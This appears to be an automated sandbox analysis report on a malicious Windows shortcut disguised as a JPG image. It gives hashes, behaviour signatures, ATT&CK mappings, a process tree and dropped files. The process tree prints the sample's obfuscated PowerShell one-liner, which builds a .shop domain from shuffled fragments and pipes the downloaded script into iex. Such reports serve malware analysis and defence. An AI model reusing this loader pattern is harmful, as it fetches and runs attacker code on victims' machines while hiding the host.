b1b4358efefe187550ba62599b90e4240bc933f3dfbf21d1ef557e4e25ac5480

Analysis

max time kernel
148s
max time network
153s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
28/07/2026, 10:18

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
IMG_20260727_132220.jpg.lnk
Size 1KB
Sample260728-mcaeaavajc
SHA256 b1b4358efefe187550ba62599b90e4240bc933f3dfbf21d1ef557e4e25ac5480
MD5 e3ab5e2fca435de320c7140ace46882d
SHA1 cabc8e4a8f4855d6f934f6ed8f0b300ca532543d
SHA512 cafe084f7f85ea883cca5f6464f494f6ed5691b6647f53ec4afc57d746304806ca351bbb68d2606ce85c02fd6f3c0849eb9a5aebe70abb417822840349045d2e
TLSH
T12031D02D9BF20228D6BA8B355876631146217B0EDA4C9FDF1280C2945865111F878F3B
MD5 SHA1 SHA512 TLSH

Score

8^/10

execution

Malware Config

Signatures

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
3	5984	powershell.exe
6	5984	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5980	cmd.exe

Suspicious behavior: EnumeratesProcesses 43 IoCs

pid	Process
5984	powershell.exe
5984	powershell.exe
5984	powershell.exe
5984	powershell.exe
5984	powershell.exe
5984	powershell.exe
5984	powershell.exe
5984	powershell.exe
5984	powershell.exe
5984	powershell.exe
5984	powershell.exe
5984	powershell.exe
5984	powershell.exe
5984	powershell.exe
5984	powershell.exe
5984	powershell.exe
5984	powershell.exe
5984	powershell.exe
5984	powershell.exe
5984	powershell.exe
5984	powershell.exe
5984	powershell.exe
5984	powershell.exe
5984	powershell.exe
5984	powershell.exe
5984	powershell.exe
5984	powershell.exe
5984	powershell.exe
5984	powershell.exe
5984	powershell.exe
5984	powershell.exe
5984	powershell.exe
5984	powershell.exe
5984	powershell.exe
5984	powershell.exe
5984	powershell.exe
5984	powershell.exe
5984	powershell.exe
5984	powershell.exe
5984	powershell.exe
5984	powershell.exe
5984	powershell.exe
5984	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	5984	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 5980 wrote to memory of 5984	5980	cmd.exe	90
PID 5984 wrote to memory of 5416	5984	powershell.exe	91
PID 5416 wrote to memory of 3144	5416	csc.exe	92

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\IMG_20260727_132220.jpg.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5980
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iwr (@('oins','r','e','se','.shop','no','t','v','ay','w','r','ph','ot')[10,2,3,1,7,11,12,0,6,8,5,9,4] -join $XqF) -useb | iex
  2⤵
  - Badlisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5984
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\m2cgn44p\m2cgn44p.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5416
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES9D.tmp" "c:\Users\Admin\AppData\Local\Temp\m2cgn44p\CSC4F946FCFE41149E594DCFFC6A55150FC.TMP"
      4⤵
      PID:3144

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

RES9D.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES9D.tmp
Size 1KB
SHA256 b21c614a91592e917bccdc2d7ba6926ff6561fce5367a3a331263be7422fe335
MD5 c295710bbe50f298c180c2db72d38d0f
SHA1 001c7a493fc63b231359d49e645925199455ea92
SHA512 1a1d5eca795a870018892ff2266b4225ca5dc0fdac8ddc0b77fc3f4edfba62b032d04bfccbb5666c51280910b3109719635ffe12511e4eb9aa1f60cebf7330a2
TLSH
T10E21CC0993E9470FF0B3873269F6171FD234FE68EFA2535A844002282C12204EEA1FB2
MD5 SHA1 SHA512 TLSH

Submit Download

m2cgn44p.dll

Path C:\Users\Admin\AppData\Local\Temp\m2cgn44p\m2cgn44p.dll
Size 3KB
SHA256 2d8c293f15f252895e9bc7667dac9e4f89753e937e074b0e8654d45e213b4884
MD5 8bb1bbfa9b39aca2629e4a99111f8d5d
SHA1 635d0b14aa2af57167f3e737cb15f6bb9fd47ad9
SHA512 c827b0abeb800cb5e768474e4ab75f04f90a76333916012b06d453f80018dc41c3027c27272ff86a19b5b71c87bcf6e1f79ad62ed6b48d67fbd515335503138f
TLSH
T11351CA1AA3E8462BE4770730AFE3475327B8FC149FB357A959800229AC60B546E31FB1
MD5 SHA1 SHA512 TLSH

Submit Download

CSC4F946FCFE41149E594DCFFC6A55150FC.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\m2cgn44p\CSC4F946FCFE41149E594DCFFC6A55150FC.TMP
Size 652B
SHA256 c67227a999c80a17261c0b761312628263149653405778468f7c7a95bdcd3aad
MD5 c6181436303ba0af5139af5fe295246b
SHA1 b1c3b352180df17a2135c1fe444a3c3a90d30e0f
SHA512 1e5c9b2b3cba9197a709fd92ed592941ef3d3ff727ba47607677a5c0feae40f122325d508bef110ef15a0ebb6c3c89ef7676227ee5b29724a4cf363178a3f39d
TLSH
T1FEF05E4963F8020EF4F34B70BDF6836396A8FC64DE3393ED5480031928649109962FB2
MD5 SHA1 SHA512 TLSH

Submit Download

m2cgn44p.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\m2cgn44p\m2cgn44p.0.cs
Size 203B
SHA256 5473b5550a65171ee7d5977d673c97e41e9ec16fad10ec5ab8aa3b7c798577a6
MD5 171a88ab4fad87acfd2e5032eb0c6113
SHA1 754de0e7656c558d335710fc41cbf196d39c1a19
SHA512 87ef6ac53a00d21f2df4d81ec5956861a4b539b10f5855345aa068c0d9d971f3329477e485471eb40b9eeea59f01fd3c42c4ab2f25e71d825cbf3586be0206b8
TLSH
T13AD023147BF36D34100304130C4661FCB713812B169E26057DF81300CF4700A0275919
MD5 SHA1 SHA512 TLSH

Submit Download

m2cgn44p.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\m2cgn44p\m2cgn44p.cmdline
Size 369B
SHA256 581cb6abcf1e9d615117f0b7137bf309c1998d29a3404fb42173d6062100d5e7
MD5 a361dcaeee26d05851b7dbba3fd38255
SHA1 9c78dba2cec4831f9228fe41b335286ef16f1f22
SHA512 76b30bc1aeade971ecbf7f33218708cbb09a6b130d885665a15393078aeacfbca95e982e132f97330d4a006c87c0342354d88be4b64b969dc7c6132908425b55
TLSH
T1D8E06F2A8357C27D11E9500B3AAEC4ECC2B3878339827FE49040888DE0370082BD2BB2
MD5 SHA1 SHA512 TLSH

Submit Download

memory/5984-16-0x00007FFD08A90000-0x00007FFD09434000-memory.dmp

Download

memory/5984-18-0x00007FFD08A90000-0x00007FFD09434000-memory.dmp

Download

memory/5984-11-0x00007FFD08A90000-0x00007FFD09434000-memory.dmp

Download

memory/5984-12-0x00007FFD08A90000-0x00007FFD09434000-memory.dmp

Download

memory/5984-13-0x00007FFD08A90000-0x00007FFD09434000-memory.dmp

Download

memory/5984-14-0x00007FFD08A90000-0x00007FFD09434000-memory.dmp

Download

memory/5984-15-0x00007FFD08A90000-0x00007FFD09434000-memory.dmp

Download

memory/5984-2-0x00007FFD08C1F000-0x00007FFD08C20000-memory.dmp

Download

memory/5984-17-0x00007FFD08A90000-0x00007FFD09434000-memory.dmp

Download

memory/5984-10-0x00007FFD08A90000-0x00007FFD09434000-memory.dmp

Download

memory/5984-9-0x00007FFD08A90000-0x00007FFD09434000-memory.dmp

Download

memory/5984-8-0x00007FFD08A90000-0x00007FFD09434000-memory.dmp

Download

memory/5984-7-0x00007FFD08A90000-0x00007FFD09434000-memory.dmp

Download

memory/5984-31-0x000002B8F0980000-0x000002B8F0988000-memory.dmp

Download

memory/5984-5-0x000002B8F0730000-0x000002B8F0752000-memory.dmp

Download

memory/5984-6-0x00007FFD08A90000-0x00007FFD09434000-memory.dmp

Download

memory/5984-32-0x00007FFD08A90000-0x00007FFD09434000-memory.dmp

Download

memory/5984-33-0x00007FFD08A90000-0x00007FFD09434000-memory.dmp

Download

memory/5984-34-0x00007FFD08A90000-0x00007FFD09434000-memory.dmp

Download